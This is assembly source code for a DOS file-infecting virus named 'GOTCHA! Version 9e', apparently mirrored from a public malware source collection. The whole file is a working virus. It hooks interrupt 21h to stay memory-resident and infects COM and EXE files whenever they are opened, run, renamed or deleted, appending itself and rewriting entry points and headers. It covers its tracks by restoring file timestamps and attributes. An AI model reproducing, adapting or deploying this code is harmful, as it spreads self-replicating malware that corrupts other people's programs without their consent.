mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 02:46:10 +00:00
571 lines
18 KiB
NASM
571 lines
18 KiB
NASM
;****************************************************************************
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;* GOTCHA! Version 9e
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;****************************************************************************
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cseg segment
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assume cs:cseg,ds:cseg,es:nothing
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org 100h
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SIGNLEN equ signend - signature
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FILELEN equ end - begin
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RESPAR equ (FILELEN/16) + 17
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VERSION equ 9
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BUFLEN equ 20h
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COMSIGN equ 0
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EXESIGN equ 1
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MINTARGET equ 1000
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MAXTARGET equ -FILELEN
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.RADIX 16
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;****************************************************************************
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;* Start the program!
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;****************************************************************************
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begin: xor bx,bx
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call install
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int 20
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;****************************************************************************
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;* Data
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;****************************************************************************
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buffer db BUFLEN dup (?)
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oi21 dw ?,?
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oldlen dw ?,?
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nameptr dw ?,?
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handle dw ?
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comexe db ?
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;****************************************************************************
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;* File-extensions
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;****************************************************************************
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EXE_txt db 'EXE'
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COM_txt db 'COM'
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;****************************************************************************
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;* Interupt handler 24
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;****************************************************************************
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ni24: mov al,03
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iret
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;****************************************************************************
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;* Interupt handler 21
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;****************************************************************************
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ni21: pushf
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cmp ax,0DADAh ;install-check ?
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je do_DADA
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push dx
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push cx
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push bx
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push ax
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push si
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push di
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push ds
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push es
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cmp ax,6C00h ;open/create 4.00 ?
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je do_6C00
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cmp ah,56h ;rename ?
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je doit
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cmp ah,4Eh ;findfirst ?
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je doit ;(only works without wildcards)
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cmp ah,4Bh ;load / execute ?
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je doit
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cmp ah,43h ;attributes
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je doit
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cmp ah,41h ;delete ?
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je doit ;(it might be un-deleted!)
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cmp ah,3Dh ;open ?
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je do_3D
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cmp ah,17h ;FCB-rename?
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je doFCB
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cmp ah,13h ;FCB-delete?
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jne exit
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doFCB: call FCBtoASC ;COMMAND.COM still uses FCB's!
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doit: call infect
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exit: pop es
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pop ds
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pop di
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pop si
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pop ax
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pop bx
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pop cx
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pop dx
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popf
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jmp dword ptr cs:[oi21] ;call to old int-handler
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do_3D: test al,03h ;only if opened for READING
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jne exit
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jmp short doit
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do_6C00: test bl,03h ;idem
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jne exit
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mov dx,di ;ptr was DS:DI
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jmp short doit
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do_DADA: mov ax,0A500h+VERSION ;return a signature
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popf
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iret
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;****************************************************************************
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;* Old Interupt handler 21
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;****************************************************************************
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org21: pushf
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call dword ptr cs:[oi21] ;call to old int-handler
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ret
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;****************************************************************************
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;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
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;****************************************************************************
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infect: cld
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mov cs:[nameptr],dx ;save the ptr to the filename
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mov cs:[nameptr+2],ds
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mov ah,62h ;get segment-adres of PSP
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int 21
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mov ds,bx ;get seg-adres of environment
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mov ax,ds:002Ch
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mov ds,ax
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mov si,0
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envloop: cmp ds:[si],byte ptr 0 ;end of environment?
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je verder7
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push cs
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pop es
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mov di,offset envstring
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mov bx,0
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scloop: mov al,ds:[si] ;check the current env-item
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cmpsb
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je scv1
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inc bx ;characters don't match!
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scv1: cmp al,0 ;end of env-item?
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jne scloop
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cmp bx,0 ;did all characters match?
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je return
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jmp short envloop
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verder7: push cs ;check the filename
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pop ds
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les di,dword ptr [nameptr]
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mov dx,di
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mov cx,80 ;search end of filename (-EXT)
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mov al,'.'
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repnz scasb
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mov bx,di
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std ;find begin of filename
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mov cl,11
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mov al,'\'
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repnz scasb
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cld
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je vvv
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mov di,dx
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jmp short vvv2
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vvv: add di,2
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vvv2: mov al,'V' ;is it V*.* ?
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scasb
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je return
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mov cl,7 ;is it *AN*.* ?
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mov ax,'NA'
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ANloop: dec di
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scasw
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loopnz ANloop
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je return
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mov si,offset EXE_txt ;is extension 'EXE'?
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mov di,bx
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mov cx,3
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rep cmpsb
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jnz verder4
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mov byte ptr [comexe],EXESIGN
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jmp short verder3
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return: ret
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verder4: mov si,offset COM_txt ;is extension 'COM'?
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mov di,bx
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mov cx,3
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rep cmpsb
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jnz return
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mov byte ptr [comexe],COMSIGN
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verder3: mov ax,3300h ;get ctrl-break flag
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int 21
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push dx
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xor dl,dl ;clear the flag
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mov ax,3301h
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int 21
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mov ax,3524h ;get int24 vector
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int 21
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push bx
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push es
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push cs ;set int24 vec to new handler
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pop ds
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mov dx,offset ni24
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mov ax,2524h
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int 21
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lds dx,dword ptr [nameptr] ;get file-attribute
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mov ax,4300h
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call org21
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push cx
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and cx,0F8h ;clear READ-ONLY-flag
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call setattr
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jc return1_v
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push cs ;open the file
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pop ds
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lds dx,dword ptr [nameptr]
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mov ax,3D02h
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int 21
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jnc verder2
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return1_v: jmp return1 ;something went wrong... :-(
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verder2: push cs ;save handle
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pop ds
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mov [handle],ax
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mov bx,[handle] ;get file date & time
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mov ax,5700h
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int 21
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push cx
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push dx
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call endptr ;get file-length
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mov [oldlen],ax
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mov [oldlen+2],dx
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sub ax,SIGNLEN ;move ptr to end - SIGNLEN
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sbb dx,0
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mov cx,dx
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mov dx,ax
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mov al,00h
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call ptrmov
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mov cx,SIGNLEN ;read the last bytes
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mov dx,offset buffer
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call flread
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jc return2_v
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push cs ;compare bytes with signature
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pop es
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mov di,offset buffer
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mov si,offset signature
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mov cx,SIGNLEN
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rep cmpsb
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jz return2_v
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call beginptr ;read begin of file
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mov cx,BUFLEN
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mov dx,offset buffer
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call flread
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cmp byte ptr [comexe],EXESIGN
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jz do_exe
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do_com: cmp word ptr [oldlen],MAXTARGET ;check length of file
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jnb return2
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cmp word ptr [oldlen],MINTARGET
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jbe return2
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call writeprog ;write program to end of file
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jc return2
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mov ax,[oldlen] ;calculate new start-adres
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add ax,(offset entry - 0103h)
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mov byte ptr [buffer],0E9h ;'JMP'
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mov word ptr [buffer+1],ax
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jmp short verder1
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return2_v: jmp short return2
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do_exe: call writeprog ;write program to end of file
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jc return2
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mov ax,[oldlen] ;calculate new length
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mov dx,[oldlen+2]
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add ax,FILELEN
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adc dx,0
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mov cl,9 ;put new length in header
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shr ax,cl
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mov cl,7
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shl dx,cl
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or ax,dx
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inc ax
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mov word ptr [buffer+4],ax
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mov ax,[oldlen]
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add ax,FILELEN
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and ax,01FFh
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mov word ptr [buffer+2],ax
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mov ax,[oldlen] ;calculate new CS & IP
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mov dx,[oldlen+2]
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mov bx,word ptr [buffer+8]
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push ax
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mov cl,4
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shr ax,cl
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mov cl,0Ch
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shl dx,cl
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add ax,dx
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sub ax,bx
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mov word ptr [buffer+16h],ax ;put CS in header
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pop ax
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and ax,000Fh
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add ax,(offset entry - 0100h)
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mov word ptr [buffer+14h],ax ;put IP in header
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verder1: call beginptr ;write new begin of file
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mov cx,BUFLEN
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mov dx,offset buffer
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call flwrite
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return2: mov bx,[handle] ;restore file date & time
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pop dx
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pop cx
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mov ax,5701h
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int 21
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mov bx,[handle] ;close the file
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mov ah,3Eh
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int 21
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return1: pop cx ;restore file-attribute
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call setattr
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pop ds ;restore int24 vector
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pop dx
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mov ax,2524h
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int 21
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pop dx ;restore ctrl-break flag
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mov ax,3301h
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int 21
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ret
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;****************************************************************************
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;* Gets ASCIIZ-filename from FCB
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;****************************************************************************
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FCBtoASC: mov si,dx
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lodsb
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inc al ;extended FCB?
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jne normal_FCB
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add si,7
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normal_FCB: push cs
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pop es
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xor di,di ;adres for ASCIIZ-name
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mov dx,di
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mov cx,8
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FCB_loop: lodsb ;copy all except spaces
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cmp al,' '
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je FCB_verder
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stosb
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FCB_verder: loop FCB_loop
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mov al,'.' ;append a '.'
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stosb
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mov cl,3 ;and the extension
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rep movsb
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xchg ax,cx ;and a final zero.
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stosb
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push es
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pop ds
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ret
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;****************************************************************************
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;* Changes file-attributes
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;****************************************************************************
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setattr: lds dx,dword ptr cs:[nameptr]
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mov ax,4301h
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call org21
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ret
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;****************************************************************************
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;* Writes program to end of file
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;****************************************************************************
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writeprog: call endptr
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mov cx,FILELEN
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mov dx,offset begin
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; call flwrite ;Hmm, save a few bytes!
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; ret
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;****************************************************************************
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;* Subroutines for reading/writing
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;****************************************************************************
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flwrite: mov ah,40h
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jmp short flvrdr
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flread: mov ah,3Fh
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flvrdr: push cs
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pop ds
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mov bx,cs:[handle]
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int 21
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ret
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;****************************************************************************
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;* Subroutines for file-pointer
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;****************************************************************************
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beginptr: mov al,00h ;go to begin of file
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jmp short ptrvrdr
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endptr: mov al,02h ;go to end of file
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ptrvrdr: xor cx,cx
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xor dx,dx
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ptrmov: mov bx,cs:[handle] ;go somewhere
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mov ah,42h
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int 21
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ret
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;****************************************************************************
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;* This is where infected files start
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;****************************************************************************
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entry: call entry2
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entry2: pop bx
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sub bx,offset entry2 ;CS:BX is begin program - 100h
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pushf
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cld
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cmp byte ptr cs:[bx+offset comexe],COMSIGN
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jz entryC
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entryE: mov ax,ds ;put old start-adres on stack
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add ax,10
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add ax,cs:[bx+offset buffer+016h]
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push ax
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push cs:[bx+offset buffer+014h]
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jmp short entcheck
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entryC: mov ax,bx ;restore old file-begin
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add ax,offset buffer
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mov si,ax
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mov di,0100
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mov cx,BUFLEN
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rep movsb
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push cs ;put old start-adres on stack
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mov ax,0100h
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push ax
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entcheck: mov ax,0DADAh ;already installed?
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int 21h
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cmp ah,0A5h
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je entstop
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call install ;install the program
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entstop: iret
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;****************************************************************************
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;* Install the program at top of memory
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;****************************************************************************
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install: push ds
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push es
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xor ax,ax ;get original int21 vector
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mov es,ax
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mov cx,word ptr es:0084h
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mov dx,word ptr es:0086h
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mov cs:[bx+offset oi21],cx
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mov cs:[bx+offset oi21+2],dx
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mov ax,ds ;adjust memory-size
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dec ax
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mov es,ax
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cmp byte ptr es:[0000h],5Ah
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jnz cancel
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mov ax,es:[0003h]
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sub ax,RESPAR
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jb cancel
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mov es:[0003h],ax
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sub es:[0012h], word ptr RESPAR
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push cs ;copy program to top
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pop ds
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mov es,es:[0012h]
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mov ax,bx
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add ax,0100
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mov si,ax
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mov di,0100h
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mov cx,FILELEN
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rep movsb
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mov dx,offset ni21 ;set vector to new handler
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push es
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pop ds
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mov ax,2521h
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int 21h
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cancel: pop es
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pop ds
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ret
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;****************************************************************************
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;* Text and Signature
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;****************************************************************************
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envstring: db 'E=mc<6D>',0 ;put this in your environment!
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signature: db 'GOTCHA!',0 ;I have got you! :-)
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signend:
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end:
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cseg ends
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end begin
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